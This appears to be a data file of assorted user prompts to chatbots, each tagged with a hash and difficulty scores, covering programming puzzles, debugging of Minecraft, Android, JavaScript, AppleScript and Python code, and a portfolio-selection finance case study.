You are given a set "A" containing "N" integers. An array "B" is called "good" if it satisfies the following condition: 1. All elements of "B" are distinct 2. The size of the array "B" is "N" You are allowed to perform the following operations on elements of "B": 1. In one operation you can select any index "i" of "B" and replace B[i] with either 2*B[i] or 2*B[i]+1 It must be possible that after some operations on "B", it becomes an anagram of set "A". Let "K" denote the maximum value present in such a "good" array "B". Find the minimum possible value of "K" for the given set "A". Notes: 1. Elements in "B" are not required to be distinct after each operation 2. An array "B" is said to be an anagram of "A", if "A" can be obtained by rearranging the elements of "B" Boilerplate function: int minMax(int N, vector<int> A ){ } Function description: Returns the minimum possible value of "K" for the given set "A" Sample Input 1] N=1, A=[3] Expected output: 1 Sample input 2] N=3, A= [1,2,3] Expected output : 3 Sample input 3] N = 5, A=[1,2,3,4,5] Expected output: 5 Complete the function and verify its correctness using the providesd sample input and outputs
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{ "intermediate": 0.3708222806453705, "beginner": 0.24238398671150208, "expert": 0.38679376244544983 }
45,549
A parent-teacher meeting will be held in the school where there is a circular table that can accommodate N chairs. Moreover, there are some chairs already reserved for teachers. Chair i is already reserved if A[i] is equal to one. Otherwise, A[i] is equal to zero meaning this chair is empty such that (0<=i<N). The parents are starting to arrive in the hall with the table. There are N doors to the hall in which the table is located such that there is a door between every two adjacent chairs. This means that there is a door between chair i and (i+1) such that (0 <=i< (N-1)) and between ((N-1) and 0). Whenever a new person comes, he chooses a random door from the N doors with equal probability. When a person enters through a door, they will move clockwise until they find an empty chair to sit on. As a person moves clockwise to find a seat, they will shake the hand of every seated person they pass. It is given that no two people enter together, and when one person enters, another person cannot enter until that person finds a seat for themself. Moreover, no one will enter the hall when all the chairs are filled. Find the total number of handshakes that will occur until all the chairs are filled. Since the answer can be large return it modulo 10^9+7. Note: It is given that a / b mod 10^9+7 equals a * b^-1 mod 10^9+7. Boilerplate function: int solve(int N, vector<int> A){ } Sample input: N=3, A=[0,1,0] Expected output: 333333337 Explaination: We can see that chair 1 is reserved. Chair 0 and 2 are empty. So, here two persons will go and sit on the two empty chairs. Let's denote the door between chair 0 and 1 is door 1, the door between chair 1 and 2 is door 2 and the door between chair 2 and 0 is door 3. Following are the ways these two persons choose the doors -> 1) First person chooses door 1 and second person chooses door 1. First person do 1 hand shake. Second person do 2 hand shakes. 2) First person chooses door 1 and second person chooses door 2. First person do 1 hand shake. Second person do 1 hand shake. 3) First person chooses door 1 and second person chooses door 3. First person do 1 hand shake. Second person do 0 hand shakes. 4) First person chooses door 2 and second person chooses door 1. First person do 0 hand shake. Second person do 2 hand shakes. 5) First person chooses door 2 and second person chooses door 2. First person do 0 hand shake. Second person do 1 hand shake. 6) First person chooses door 2 and second person chooses door 3. First person do 0 hand shake. Second person do 0 hand shakes. 7) First person chooses door 3 and second person chooses door 1. First person do 0 hand shake. Second person do 1 hand shake. 8) First person chooses door 3 and second person chooses door 2. First person do 0 hand shake. Second person do 0 hand shake. 9) First person chooses door 3 and second person chooses door 3. First person do 0 hand shake. Second person do 2 hand shakes. Hence, expected number of hand shakes are (3+2+1+2+1+0+1+0+2)/9 = 12/9 = 4/3. So, 4/3 mod 10^9+7 = 333333337
dd22ecf4db55ea309b215e7b8cc86fa0
{ "intermediate": 0.3616427481174469, "beginner": 0.4168447256088257, "expert": 0.22151249647140503 }
45,550
How to push str to lua stack
997c1539eace9b59247e17a2d0e08961
{ "intermediate": 0.3700771629810333, "beginner": 0.1782822459936142, "expert": 0.4516405463218689 }
45,551
В чём причина ошибки? Description: Exception in server tick loop java.lang.NullPointerException: Cannot invoke "com.cobblemon.mod.common.api.conditional.RegistryLikeCondition.fits(Object, net.minecraft.class_2378)" because "condition" is null at com.cobblemon.mod.common.api.spawning.condition.SpawningCondition.fits(SpawningCondition.java:89) at com.cobblemon.mod.common.api.spawning.condition.AreaTypeSpawningCondition.fits(AreaTypeSpawningCondition.java:30) at com.cobblemon.mod.common.api.spawning.condition.GroundedTypeSpawningCondition.fits(GroundedTypeSpawningCondition.java:28) at com.cobblemon.mod.common.api.spawning.condition.GroundedTypeSpawningCondition.fits(GroundedTypeSpawningCondition.java:24) at com.cobblemon.mod.common.api.spawning.condition.SpawningCondition.isSatisfiedBy(SpawningCondition.java:72) at com.cobblemon.mod.common.api.spawning.detail.SpawnDetail.isSatisfiedBy(SpawnDetail.java:62) at com.cobblemon.mod.common.api.spawning.spawner.Spawner$DefaultImpls.getMatchingSpawns(Spawner.java:42) at com.cobblemon.mod.common.api.spawning.spawner.TickingSpawner.getMatchingSpawns(TickingSpawner.java:30) at com.cobblemon.mod.common.api.spawning.selection.FlatContextWeightedSelector.getSelectionData(FlatContextWeightedSelector.java:79) at com.cobblemon.mod.common.api.spawning.selection.FlatContextWeightedSelector.select(FlatContextWeightedSelector.java:106) at com.cobblemon.mod.common.api.spawning.spawner.AreaSpawner.run(AreaSpawner.java:96) at com.cobblemon.mod.common.api.spawning.spawner.TickingSpawner.tick(TickingSpawner.java:80) at com.cobblemon.mod.common.api.spawning.SpawnerManager.onServerTick(SpawnerManager.java:56) at com.cobblemon.mod.common.events.ServerTickHandler.onTick(ServerTickHandler.java:20) at com.cobblemon.mod.common.Cobblemon$initialize$5.invoke(Cobblemon.java:329) at com.cobblemon.mod.common.Cobblemon$initialize$5.invoke(Cobblemon.java:329) at com.cobblemon.mod.common.api.reactive.ObservableSubscription.handle(ObservableSubscription.java:17) at com.cobblemon.mod.common.api.reactive.SimpleObservable.emit(SimpleObservable.java:39) at com.cobblemon.mod.fabric.CobblemonFabric.initialize$lambda$7(CobblemonFabric.kt:431) at net.fabricmc.fabric.api.event.lifecycle.v1.ServerTickEvents.lambda$static$2(ServerTickEvents.java:43) at net.minecraft.server.MinecraftServer.handler$cee000$fabric-lifecycle-events-v1$onEndTick(MinecraftServer.java:5862) at net.minecraft.server.MinecraftServer.method_3748(MinecraftServer.java:847) at net.minecraft.server.MinecraftServer.method_29741(MinecraftServer.java:671) at net.minecraft.server.MinecraftServer.method_29739(MinecraftServer.java:265) at java.base/java.lang.Thread.run(Thread.java:1583)
b3663d82deb8ac8e4b8e554c0e390004
{ "intermediate": 0.28434038162231445, "beginner": 0.563932478427887, "expert": 0.15172715485095978 }
45,552
В чём причина ошибки? Description: Exception in server tick loop java.lang.NullPointerException: Cannot invoke "com.cobblemon.mod.common.api.conditional.RegistryLikeCondition.fits(Object, net.minecraft.class_2378)" because "condition" is null at com.cobblemon.mod.common.api.spawning.condition.SpawningCondition.fits(SpawningCondition.java:89) at com.cobblemon.mod.common.api.spawning.condition.AreaTypeSpawningCondition.fits(AreaTypeSpawningCondition.java:30) at com.cobblemon.mod.common.api.spawning.condition.GroundedTypeSpawningCondition.fits(GroundedTypeSpawningCondition.java:28) at com.cobblemon.mod.common.api.spawning.condition.GroundedTypeSpawningCondition.fits(GroundedTypeSpawningCondition.java:24) at com.cobblemon.mod.common.api.spawning.condition.SpawningCondition.isSatisfiedBy(SpawningCondition.java:72) at com.cobblemon.mod.common.api.spawning.detail.SpawnDetail.isSatisfiedBy(SpawnDetail.java:62) at com.cobblemon.mod.common.api.spawning.spawner.Spawner$DefaultImpls.getMatchingSpawns(Spawner.java:42) at com.cobblemon.mod.common.api.spawning.spawner.TickingSpawner.getMatchingSpawns(TickingSpawner.java:30) at com.cobblemon.mod.common.api.spawning.selection.FlatContextWeightedSelector.getSelectionData(FlatContextWeightedSelector.java:79) at com.cobblemon.mod.common.api.spawning.selection.FlatContextWeightedSelector.select(FlatContextWeightedSelector.java:106) at com.cobblemon.mod.common.api.spawning.spawner.AreaSpawner.run(AreaSpawner.java:96) at com.cobblemon.mod.common.api.spawning.spawner.TickingSpawner.tick(TickingSpawner.java:80) at com.cobblemon.mod.common.api.spawning.SpawnerManager.onServerTick(SpawnerManager.java:56) at com.cobblemon.mod.common.events.ServerTickHandler.onTick(ServerTickHandler.java:20) at com.cobblemon.mod.common.Cobblemon$initialize$5.invoke(Cobblemon.java:329) at com.cobblemon.mod.common.Cobblemon$initialize$5.invoke(Cobblemon.java:329) at com.cobblemon.mod.common.api.reactive.ObservableSubscription.handle(ObservableSubscription.java:17) at com.cobblemon.mod.common.api.reactive.SimpleObservable.emit(SimpleObservable.java:39) at com.cobblemon.mod.fabric.CobblemonFabric.initialize$lambda$7(CobblemonFabric.kt:431) at net.fabricmc.fabric.api.event.lifecycle.v1.ServerTickEvents.lambda$static$2(ServerTickEvents.java:43) at net.minecraft.server.MinecraftServer.handler$cee000$fabric-lifecycle-events-v1$onEndTick(MinecraftServer.java:5862) at net.minecraft.server.MinecraftServer.method_3748(MinecraftServer.java:847) at net.minecraft.server.MinecraftServer.method_29741(MinecraftServer.java:671) at net.minecraft.server.MinecraftServer.method_29739(MinecraftServer.java:265) at java.base/java.lang.Thread.run(Thread.java:1583)
76066f43ca54bba05d1a82288d270135
{ "intermediate": 0.28434038162231445, "beginner": 0.563932478427887, "expert": 0.15172715485095978 }
45,553
How can I read a data-popup value in plain Javascript?
01d3363578fda8bb163b267ff4454d1a
{ "intermediate": 0.5929713249206543, "beginner": 0.18941566348075867, "expert": 0.21761304140090942 }
45,554
You are given a set A containing N integers. An array B is called good if it satisfies the following condition. 1. All elements of B are distinct 2. The size of the array B is N. You are allowed to perform the following operations on elements of B: In one operation you can select any index i of B and replace B[i] with either 2*B[i] or 2*B[i]+1. It must be possible that after some operations on B, it becomes an anagram of set A. Let K denote the maximum value present in such a good array B. Find the minimum possible value of K for the given set A. Notes: Elements in B are not required to be distinct after each operation. An array B is said to be an anagram of A, if A can be obtained by rearranging the elements of B. Sample Test Cases Case 1 Input: 1 3 Output: 1 Explanation: N = 1 A = [3] Let B=[1], now after operation of type 2*B[0]+1, we get 2*1+1=3 => B becomes , B = [3] Hence, We can form anagram of A from B using the given operations. Hence, minimum possible value of K is 1. Case 2 Input: 3 1 2 3 Output: 3 Explanation: N = 3 A = [1, 2, 3] Let B=[1,2,3] no operation is required it is already equal to A. Note that no maximum value less than 3 is possible here. Case 3 Input: 5 1 2 3 4 5 Output: 5 Explanation: N = 5 A = [1, 2, 3, 4, 5] Let B=[1,2,3,4,5] no operation is required it is already equal to A. Note that no maximum value less than 5 is possible here. Boilerplate function: int minMax(int N, vector<int> A){ }
a375e17dc4546f7db370f12730927840
{ "intermediate": 0.3413289189338684, "beginner": 0.34439021348953247, "expert": 0.3142809271812439 }
45,555
I have this popup in HTML: <div class='flex-column flex-center flex-align-center' id='popup'> <div class='flex-1 flex flex-center flex-align-center'> <div class='background-white pb-s pt-s pr-s pl-s'> <p id='popup-content'></p> </div> </div> </div> I have this button in HTML: <button class='popup' data-popup-content='Das Produkt wurde zum Warenkorb hinzugefügt.'>Warenkorb</button> And I have this JavaScript function: function popup() { const elements = document.querySelectorAll('.popup'); const popupElement = document.getElementById('popup'); const popupContentElement = document.getElementById('popup-content'); elements.forEach(element => { element.addEventListener('click', () => { console.log(element.getAttribute('data-popup-content')); popupContentElement.textContent = element.getAttribute('data-popup-content'); popupElement.style.display = 'flex'; const progressBar = document.createElement('div'); progressBar.classList.add('progress-bar'); popupElement.appendChild(progressBar); setTimeout(function () { popupElement.style.display = 'none'; progressBar.remove(); }, 4000); setTimeout(() => { progressBar.style.width = '100%'; }, 0); }); }); } This is not working and console.log(element.getAttribute('data-popup-content')); returns null.
270db7f979ec534bda1704bc50e31746
{ "intermediate": 0.40519979596138, "beginner": 0.27639487385749817, "expert": 0.3184053599834442 }
45,556
Case Begins: You have recently joined as a Portfolio Manager at Morgan Stanley. The first task assigned to you is to create a portfolio for a client who is interested in investing 1 million Euro in secondary markets. He wants the money to be “fully-invested”, but he is not aware of weight allocation in a scientific manner. Your employer has given you the responsibility to not only select the bunch of asset class for investment, but also allocate weight so as to garner more returns with limited risk. After analyzing the market trends, you are bullish in your approach and have narrowed down to the three asset classes for selection of Portfolio Universe. 1. Stocks - Google, Tesla, Pfizer, Shell, AT&T 2. Forex - USDINR, EURUSD, USDCAD, USDCHF, NZDUSD 3. Commodities - Crude, Natural Gas, Gold, Wheat, Ethanol Asset Tickr Google GOOGL Tesla TSLA Pfizer PFE Shell SHEL AT&T T USDINR USDINR EURUSD EURUSD USDCAD USDCAD USDCHF USDCHF NZDUSD NZDUSD Crude WTI Natural Gas NG Gold XAU Wheat W1 Ethanol EH Note: Portfolio constraints from your supervisor 1. Portfolio should consist of 5 assets 2. Atleast one from Commodity and one from Forex Historical Price Information To constitute Portfolio you will require the Price series for the selected datasets. For your rescue, the system portal provides an easy way to download the closing price series. You just have to pass your “employee id” to number generator and it will generate the monthly historic price series for you. Note: *Your employee id will be the student id at DCU ** Example - Student Name - Thomas Edison DCU Student No. - 1234567 emp id will be - 1234567 You have to pass on your DCU Student No. value to variable emp_id to generate the price series. Kindly run the code chunk below after passing your Student No. to generate historical price series {r} ####### enter your DCU Student id for the emp id variable emp_id <- 23260775 dig_count <- nchar(emp_id) - 3 rand_numb_init <- emp_id / (10 ^ dig_count) ################ Import date data #################### library(readxl) date_data <- read_excel(“Date.xlsx”) ############ Tickr symbols ##################### tickr_list <- c(“GOOGL”, “TSLA”,“PFE”,“SHELL”,“T”,“USDINR”,“EURUSD”,“USDCAD”,“USDCHF”,“NZDUSD”,“WTI”,“NG”,“XAU”,“W1”,“EH”) #### Historical Price series generation Portfolio Universe ############# set.seed(emp_id) raw_price_data <- matrix(,ncol = 1) multiplier <- seq(from = 3, to = 10, by = 0.5) for (i in 1:length(tickr_list)) { rand_price <- as.data.frame(runif(nrow(date_data), min=rand_numb_init, max= rand_numb_init * sample(multiplier,size = 1,replace = TRUE))) raw_price_data <- cbind(raw_price_data,rand_price) } raw_price_data <- raw_price_data[,-1] colnames(raw_price_data) <- tickr_list ######## Combining all the historical price along with Date ##3 price_data <- cbind(date_data,raw_price_data) writexl::write_xlsx(price_data,“Historical_Price_data.xlsx”) Annual risk-free rate Kindly run the code to generate the annual risk-free rate {r} annual_rf <- abs(rnorm(1,mean = 0, sd = 0.75))/1000 Price to Earning Ratio Kindly run the code to generate P/E ratio {r} ##### Price to Earning Ratio P_E_ratio <- runif(ncol(raw_price_data), min=rand_numb_init * 5, max= rand_numb_init * 5 * sample(multiplier,size = 1,replace = TRUE))/100 names(P_E_ratio) <- tickr_list , Case Detailing Ends , Rest of the questions have to be answered in context of the case study. , Question Begins , Portfolio Universe Selection Since, you have to make a Portfolio constituting of five assets only, you select the assets based on the basis of two strategies as shared below. Strategy 1: Step 1: Calculate the Reward to Risk - (Median Return/Standard Deviation) Step 2: Rank the Reward to Risk for Assets, then choose the top five asset while maintaining the constraint (Atleast one Commodity and one Forex) Note: In case of tie, you choose the asset with higher mean return. Strategy 2: Based on Price/Earning Ratio while maintaining the constraint (Atleast one Commodity and one Forex) Note: After filtering the 5 assets, export the file either as .csv or .xlsx Insert the code chunk below.
e7874f79c5e761bb8d37c1f4fc728020
{ "intermediate": 0.45332208275794983, "beginner": 0.34185096621513367, "expert": 0.20482699573040009 }
45,557
Give me HTML code for a form consisting of: - Radio control with 3 options. - Name (text) - Email (email) - Phone (phone) - Message (textarea) - Submit button
076f2bd90bc33e46f19cbb59bb4b3489
{ "intermediate": 0.3960176706314087, "beginner": 0.3455386757850647, "expert": 0.2584436535835266 }
45,558
hello i am currently developing an app named Clear Up where it is suppose to detect written text or text in the camera just like the google lens and this app is design to help people with dyslexia. so basically the text will be detected and then it will say the word using text to speech feature but i am no longer near there because i am stuck here in making a simple button that activates the camera. after running the program in my phone it just doesnt work and i think its in my MainActivity.kt that is wrong because i noticed that when running my main_activity.xml it just says Hello Android when i did not configured the MainActivity.kt yet. just provide me the explanations and when i ask you to give me or revise the code just do what i tell you okay? because im sure its gonna crash this site when too much token. IMPORTANT!! after running the app in my phone it keeps on stopping / crashing. heres the short logcat: --------- beginning of main 2024-04-06 13:09:55.925 1138-1138 ccci_rpcd ccci_rpcd E Failed to read from RPC device (-1) !! errno = 4 2024-04-06 13:09:55.927 1420-1499 TRS ven...iatek.hardware.pq@2.2-service D ccorr table index=0 2024-04-06 13:09:55.927 1420-1499 TRS ven...iatek.hardware.pq@2.2-service D [PQ_SERVICE] setPQParamWithFilter configFlag: 1 2024-04-06 13:09:55.929 1621-1685 VoLTE IMSM volte_imsm_93 E Interrupt happen Interrupted system call (4) (module/mdagent/volte_imsm_93/src/imsmmd.c:2952) 2024-04-06 13:09:55.929 1642-1693 VoLTE IMCB-CM volte_imcb E RECEIVE error code: EINTR, Need to retry #51 2024-04-06 13:09:55.949 1840-4058 BatteryStatsService system_server I In wakeup_callback: suspend aborted 2024-04-06 13:09:56.273 31422-4444 adbd adbd W timed out while waiting for FUNCTIONFS_BIND, trying again 2024-04-06 13:09:56.273 31422-4444 adbd adbd I UsbFfs: connection terminated: monitor thread finished 2024-04-06 13:09:56.274 31422-31422 adbd adbd I UsbFfs: already offline 2024-04-06 13:09:56.274 31422-31422 adbd adbd I destroying transport UsbFfs 2024-04-06 13:09:56.274 31422-31422 adbd adbd I UsbFfsConnection being destroyed 2024-04-06 13:09:56.307 31422-31429 adbd adbd I opening control endpoint /dev/usb-ffs/adb/ep0 2024-04-06 13:09:56.311 31422-31429 adbd adbd I UsbFfsConnection constructed 2024-04-06 13:09:56.312 31422-4447 adbd adbd I UsbFfs-monitor thread spawned 2024-04-06 13:09:56.403 1138-1138 ccci_rpcd ccci_rpcd E Failed to read from RPC device (-1) !! errno = 4 2024-04-06 13:09:56.404 1420-1499 TRS ven...iatek.hardware.pq@2.2-service D ccorr table index=0 2024-04-06 13:09:56.405 1420-1499 TRS ven...iatek.hardware.pq@2.2-service D [PQ_SERVICE] setPQParamWithFilter configFlag: 1 2024-04-06 13:09:56.406 1619-1630 [BIP] bip I [BIP AGENT] can not read data now, FD = (4), error number = (-257547029) 2024-04-06 13:09:56.407 1621-1685 VoLTE IMSM volte_imsm_93 E Interrupt happen Interrupted system call (4) (module/mdagent/volte_imsm_93/src/imsmmd.c:2952) 2024-04-06 13:09:56.407 1642-1693 VoLTE IMCB-CM volte_imcb E RECEIVE error code: EINTR, Need to retry #51 2024-04-06 13:09:56.429 1840-4058 BatteryStatsService system_server I In wakeup_callback: suspend aborted 2024-04-06 13:09:57.545 1138-1138 ccci_rpcd ccci_rpcd E Failed to read from RPC device (-1) !! errno = 4 2024-04-06 13:09:57.545 1131-1154 ccci_mdinit ccci_mdinit I (1):is_delta_same delta t:2 delta b:3 delta:1 2024-04-06 13:09:57.545 1131-1154 ccci_mdinit ccci_mdinit D (1):monitor_time_update_thread round:4401 ######## 2024-04-06 13:09:57.546 1420-1499 TRS ven...iatek.hardware.pq@2.2-service D ccorr table index=0 2024-04-06 13:09:57.546 1420-1499 TRS ven...iatek.hardware.pq@2.2-service D [PQ_SERVICE] setPQParamWithFilter configFlag: 1 2024-04-06 13:09:57.549 1621-1685 VoLTE IMSM volte_imsm_93 E Interrupt happen Interrupted system call (4) (module/mdagent/volte_imsm_93/src/imsmmd.c:2952) 2024-04-06 13:09:57.550 1642-1693 VoLTE IMCB-CM volte_imcb E RECEIVE error code: EINTR, Need to retry #51 2024-04-06 13:09:57.555 1840-2090 OplusWifiCoexManager system_server D uevent = {SUBSYSTEM=misc, MAJOR=10, wakeup_reason=6;163.70.130.14;443;192.168.0.27;43830;, SEQNUM=46198, ACTION=change, DEVNAME=wlan, MINOR=32, DEVPATH=/devices/virtual/misc/wlan} 2024-04-06 13:09:57.565 1840-2080 OplusConnL...entObsever system_server D com.facebook.katana(163.70.130.***) wakeup host 2024-04-06 13:09:57.573 1840-1990 OplusThermalService system_server E Could not open '/sys/class/thermal/thermal_zone86/temp' 2024-04-06 13:09:57.574 1840-4058 BatteryStatsService system_server I In wakeup_callback: resumed from suspend 2024-04-06 13:09:57.835 1400-1400 thermal_repeater thermal I [recvMdThermalInfo] ret=36, strLen=127, 2, 32767, -127, -28402, 32767, 3072 2024-04-06 13:09:57.939 31422-4447 adbd adbd W timed out while waiting for FUNCTIONFS_BIND, trying again 2024-04-06 13:09:57.939 31422-4447 adbd adbd I UsbFfs: connection terminated: monitor thread finished 2024-04-06 13:09:57.939 31422-31422 adbd adbd I UsbFfs: already offline 2024-04-06 13:09:57.939 31422-31422 adbd adbd I destroying transport UsbFfs 2024-04-06 13:09:57.939 31422-31422 adbd adbd I UsbFfsConnection being destroyed 2024-04-06 13:09:57.984 31422-31429 adbd adbd I opening control endpoint /dev/usb-ffs/adb/ep0 2024-04-06 13:09:57.986 31422-31429 adbd adbd I UsbFfsConnection constructed 2024-04-06 13:09:57.987 31422-4451 adbd adbd I UsbFfs-monitor thread spawned 2024-04-06 13:09:58.152 1840-2707 OplusHansManager system_server I uid=10299, pkg=com.widgetable.theme.android can transition from M to F 2024-04-06 13:09:58.152 1840-2707 OplusHansManager system_server I uid=10299, pkg=com.widgetable.theme.android F enter(), M stay=13 2024-04-06 13:09:58.164 1840-2707 OplusHansManager system_server I freeze uid: 10299 com.widgetable.theme.android pids: [3698, 3556, 3954] IsolatedUid: [99097] scene: LcdOff 2024-04-06 13:09:58.166 5980-11328 IHansComunication hans D HansComunication::addUid-- 10299, persistent--0 2024-04-06 13:09:58.166 5980-11328 IHansComunication hans D HANS sendMessageToKernel: threadId = 513120468144, netLinkSetup = 1, type = PKG, targetUid = 10299, pkgCmd = ADD_ONE_UID
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45,559
give me list of synonyms of the word "print" (as in to print in console)
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45,560
Help me with this apple script. The script should skip to the next song after ~30 seconds if the artist is "Latex Wednesday", if it's not then let it play in it's entirety. but for some reason after as non-Latex Wednesday song plays, it doesn't then skip after ~30s if the next track is a latex wednesday song? tell application "Spotify" -- Check if Spotify is running if it is running then -- Save the current volume and then mute Spotify set currentvol to sound volume set sound volume to 0 -- Enable shuffle and repeat modes set shuffling to true set repeating to true -- Start playing the specified playlist play track "spotify:playlist:6nE7wCfHb6lC2LDnjXw3vB" --play track "spotify:artist:4M8ylCkjsmaKPovYLrAHeO" -- Get the current day of the week and hour set currentTime to current date set currentDay to weekday of currentTime set currentHour to (hours of (currentTime - (time to GMT))) mod 24 -- Initialize the track list and set loop counter set trackNameList to {} set trackCountList to {} -- Determine loopCounter and outputFile based on current hour if currentHour ≥ 6 and currentHour < 12 then -- 6AM logic set outputFile to "/Users/dominicwood/Scripts/SpotifyRepeat6AM.txt" if currentDay is Saturday or currentDay is Sunday then set loopCounter to random number from 50 to 80 else set loopCounter to random number from 30 to 50 end if else if currentHour ≥ 12 and currentHour < 18 then -- 12PM logic set outputFile to "/Users/dominicwood/Scripts/SpotifyRepeat12PM.txt" if currentDay is Saturday or currentDay is Sunday then set loopCounter to random number from 70 to 100 else if currentDay is Wednesday or currentDay is Friday then set loopCounter to random number from 50 to 70 else set loopCounter to random number from 40 to 60 end if else if currentHour ≥ 18 and currentHour < 20 then -- 6PM logic set outputFile to "/Users/dominicwood/Scripts/SpotifyRepeat6PM.txt" if currentDay is Saturday or currentDay is Sunday then set loopCounter to random number from 80 to 110 else if currentDay is Friday or currentDay is Wednesday then set loopCounter to random number from 60 to 90 else set loopCounter to random number from 50 to 70 end if else if currentHour ≥ 20 and currentHour < 22 then -- 8PM logic set outputFile to "/Users/dominicwood/Scripts/SpotifyRepeat8PM.txt" if currentDay is Saturday or currentDay is Sunday then set loopCounter to random number from 90 to 120 else if currentDay is Friday or currentDay is Wednesday then set loopCounter to random number from 70 to 100 else set loopCounter to random number from 60 to 80 end if else -- 10PM logic set outputFile to "/Users/dominicwood/Scripts/SpotifyRepeat10PM.txt" if currentDay is Saturday or currentDay is Sunday then set loopCounter to random number from 100 to 130 else set loopCounter to random number from 50 to 80 end if end if -- Capture start time set startTime to currentTime set shuffleCounter to 0 repeat loopCounter times set shuffleCounter to shuffleCounter + 1 set currentTrack to current track set trackArtist to artist of currentTrack set trackDuration to duration of currentTrack if trackArtist is not "Latex Wednesday" then delay trackDuration next track else -- Check track duration and decide delay if trackDuration / 1000 ≤ 31 then next track else delay (30 + (0.05 * (trackDuration / 1000))) next track end if end if -- Record the track name and count set trackName to name of currentTrack if trackNameList contains trackName then -- Increase count for existing track set trackIndex to my indexOf(trackNameList, trackName) set item trackIndex of trackCountList to (item trackIndex of trackCountList) + 1 else -- Add new track to the list set end of trackNameList to trackName set end of trackCountList to 1 end if -- Reset shuffle every N iterations if shuffleCounter mod (random number from 1 to 10) = 0 then if shuffling is true then set shuffling to false set shuffling to true else set shuffling to true set shuffling to false end if end if end repeat -- Sort the trackNameList and trackCountList by play count in descending order repeat with i from 1 to (count trackCountList) - 1 repeat with j from i + 1 to count trackCountList if item j of trackCountList > item i of trackCountList then -- Swap in trackCountList set temp to item i of trackCountList set item i of trackCountList to item j of trackCountList set item j of trackCountList to temp -- Swap in trackNameList set temp to item i of trackNameList set item i of trackNameList to item j of trackNameList set item j of trackNameList to temp end if end repeat end repeat -- Capture end time set endTime to current date -- Stop Spotify playback and restore the original volume pause set sound volume to currentvol else display dialog "Spotify is not running." end if end tell -- Function to find the index of an item in a list on indexOf(theList, theItem) repeat with i from 1 to count of theList if item i of theList is theItem then return i end repeat return 0 end indexOf -- Calculate total track count set totalTrackCount to 0 repeat with countNumber in trackCountList set totalTrackCount to totalTrackCount + countNumber end repeat -- Prepare the output with sorted lists set outputText to "Start Time: " & startTime & " End Time: " & endTime & " Total Tracks Played: " & totalTrackCount & " Tracks played by 'Latex Wednesday': " repeat with i from 1 to count of trackNameList set outputText to outputText & item i of trackNameList & ": " & item i of trackCountList & " " end repeat -- Write to the file do shell script "echo " & quoted form of outputText & " > " & quoted form of outputFile -- Send the relevant information by email tell application "Mail" set theMessage to make new outgoing message with properties {subject:"Spotify Playlist Report", content:outputText} tell theMessage make new to recipient at end of to recipients with properties {address:"domjwood@gmail.com"} end tell send theMessage end tell
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45,561
Simplify this if else block char ch = text.charAt(i); if(ch == '\n') { textWidth = 0; textHeight += LINE_SPACING + fontHeight; } else if(textWidth > width) { System.out.println("\"" + ch + "\"" + " " + (int) ch); textWidth = 0; textHeight += LINE_SPACING + fontHeight; textWidth += scale * glyphs.get(ch).width; } else { textWidth += scale * glyphs.get(ch).width; }
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45,562
I want to avoiding repeating code. Simplify this if else block char ch = text.charAt(i); if(ch == '\n') { textWidth = 0; textHeight += LINE_SPACING + fontHeight; } else { if(textWidth > width) { textWidth = 0; textHeight += LINE_SPACING + fontHeight; } else { textWidth += scale * glyphs.get(ch).width; } textWidth += scale * glyphs.get(ch).width; System.out.println("\"" + ch + "\"" + " " + (int) ch); }
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45,563
Hey man the mpv_observe_property has the format argument, is the value that I should put the value of the format of property I am observing or is it something else
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45,564
import asyncio import sys import os async def run_executable(executable_path, args=[]): if sys.platform == "win32": cmd = [executable_path] + args else: # Prepends wine to the command if not on Windows. cmd = ["wine", executable_path] + args # Running the executable without opening a terminal window proc = await asyncio.create_subprocess_exec( *cmd, # Capture output and error stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE) stdout, stderr = await proc.communicate() if proc.returncode == 0: print(f'[{executable_path}]: Success') return stdout else: print(f'[{executable_path}]: Failed with error: {stderr.decode()}') return stderr async def main(): executable = "path/to/your/executable.exe" # Example running the executable 3 times with different arguments tasks = [ run_executable(executable, ["arg1", "arg2"]), run_executable(executable, ["arg3", "arg4"]), run_executable(executable, ["arg5", "arg6"]), ] results = await asyncio.gather(*tasks) for result in results: # Interpret the output in your way custom_output_handler(result.decode()) def custom_output_handler(output): # Define how you want to handle/interpret the output here print(output) if "__name__" == "__main__": asyncio.run(main()) Remove asyncio
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45,565
given the following python script, how would i add the input_devices to a tk combobox #main libs import pyaudio #app libs #import devices #uses pyaudio import tkinter as tk from tkinter import ttk window = tk.Tk() window.title('Window and Widgets') window.geometry('800x500') # Start PyAudio session pa = pyaudio.PyAudio() input_devices = [] output_devices = [] # Get the list of devices and sort them out into input and output devices # only supports stereo devices and 44.1kHz sample rate for i in range(pa.get_device_count()): device_info = pa.get_device_info_by_index(i) if int(device_info["defaultSampleRate"]) != 44100: continue if device_info["maxInputChannels"] == 2: input_devices.append(device_info) elif device_info["maxOutputChannels"] == 2: output_devices.append(device_info) #print (input_devices) # print (output_devices) if len(input_devices) == 0: print("No stereo input devices found. Exiting.") exit() if len(output_devices) == 0: print("No stereo output devices found. Exiting.") exit() # Combobox combo.pack() # run window.mainloop()
cd60941a99ae014ddeade7650d391ab3
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45,566
Deeply analyze the names of each level for allusions and references you can find.
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45,567
create list with 10 elements limit. when i append element and theres already 10 element you delete first use collections in python
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45,568
hi
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45,569
create chart using chart.js
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45,570
Deeply analyze this level list's titles for all the references you can find
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45,571
Q2. Marks - 10 Portfolio Universe Selection Since, you have to make a Portfolio constituting of five assets only, you select the assets based on the basis of two strategies as shared below. Strategy 1: Step 1: Calculate the Reward to Risk - (Median Return/Standard Deviation) Step 2: Rank the Reward to Risk for Assets, then choose the top five asset while maintaining the constraint (Atleast one Commodity and one Forex) Note: In case of tie, you choose the asset with higher mean return. Strategy 2: Based on Price/Earning Ratio while maintaining the constraint (Atleast one Commodity and one Forex) Note: After filtering the 5 assets, export the file either as .csv or .xlsx Insert the code chunk below.
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45,572
Write me a URDF with joints with axis (from base to end of arm) X-1-Y17-Z-1-X-17 (AXIS-DIATNCEBEETWENINCM-AXIS-...)
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45,573
hi
6fb4f48882ad6f54c5ee9a41de4f4867
{ "intermediate": 0.3246487081050873, "beginner": 0.27135494351387024, "expert": 0.40399640798568726 }
45,574
